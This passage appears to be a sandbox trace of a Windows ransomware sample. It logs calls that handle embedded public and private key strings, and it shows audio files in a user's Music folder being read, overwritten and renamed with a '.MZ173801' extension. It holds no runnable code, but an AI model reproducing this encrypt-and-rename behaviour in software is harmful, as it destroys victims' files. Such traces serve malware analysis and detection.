w4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.663] GetCurrentThreadId () returned 0xab4 [0158.663] GetCurrentThreadId () returned 0xab4 [0158.663] GetCurrentThreadId () returned 0xab4 [0158.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24ea57c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.664] GetCurrentThreadId () returned 0xab4 [0158.664] GetCurrentThreadId () returned 0xab4 [0158.664] GetCurrentThreadId () returned 0xab4 [0158.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.664] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.664] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.664] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1868a [0158.664] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.664] ReadFile (in: hFile=0x2f8, lpBuffer=0x24f2380, nNumberOfBytesToRead=0x1868a, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24f2380*, lpNumberOfBytesRead=0x19f74c*=0x1868a, lpOverlapped=0x0) returned 1 [0158.666] CloseHandle (hObject=0x2f8) returned 1 [0158.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.669] WriteFile (in: hFile=0x2f8, lpBuffer=0x250c3b0*, nNumberOfBytesToWrite=0x1868a, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x250c3b0*, lpNumberOfBytesWritten=0x19f758*=0x1868a, lpOverlapped=0x0) returned 1 [0158.671] CloseHandle (hObject=0x2f8) returned 1 [0158.674] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\RaqZQNwTN3mbA0F.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\raqzqnwtn3mba0f.m4a.mz173801")) returned 1 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] GetCurrentThreadId () returned 0xab4 [0158.674] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3630b8a0, ftCreationTime.dwHighDateTime=0x1d5f109, ftLastAccessTime.dwLowDateTime=0x9c8f5520, ftLastAccessTime.dwHighDateTime=0x1d5ee93, ftLastWriteTime.dwLowDateTime=0x9c8f5520, ftLastWriteTime.dwHighDateTime=0x1d5ee93, nFileSizeHigh=0x0, nFileSizeLow=0xd1f3, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TKNOwmA4NSUOy4hb4aSU.wav", cAlternateFileName="TKNOWM~1.WAV")) returned 1 [0158.674] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.674] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3630b8a0, ftCreationTime.dwHighDateTime=0x1d5f109, ftLastAccessTime.dwLowDateTime=0x9c8f5520, ftLastAccessTime.dwHighDateTime=0x1d5ee93, ftLastWriteTime.dwLowDateTime=0x9c8f5520, ftLastWriteTime.dwHighDateTime=0x1d5ee93, nFileSizeHigh=0x0, nFileSizeLow=0xd1f3)) returned 1 [0158.675] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav")) returned 0x20 [0158.675] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav", dwFileAttributes=0x80) returned 1 [0158.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d951c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.677] GetCurrentThreadId () returned 0xab4 [0158.677] GetCurrentThreadId () returned 0xab4 [0158.677] GetCurrentThreadId () returned 0xab4 [0158.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24ea57c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.678] GetCurrentThreadId () returned 0xab4 [0158.678] GetCurrentThreadId () returned 0xab4 [0158.678] GetCurrentThreadId () returned 0xab4 [0158.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav" (normalized: 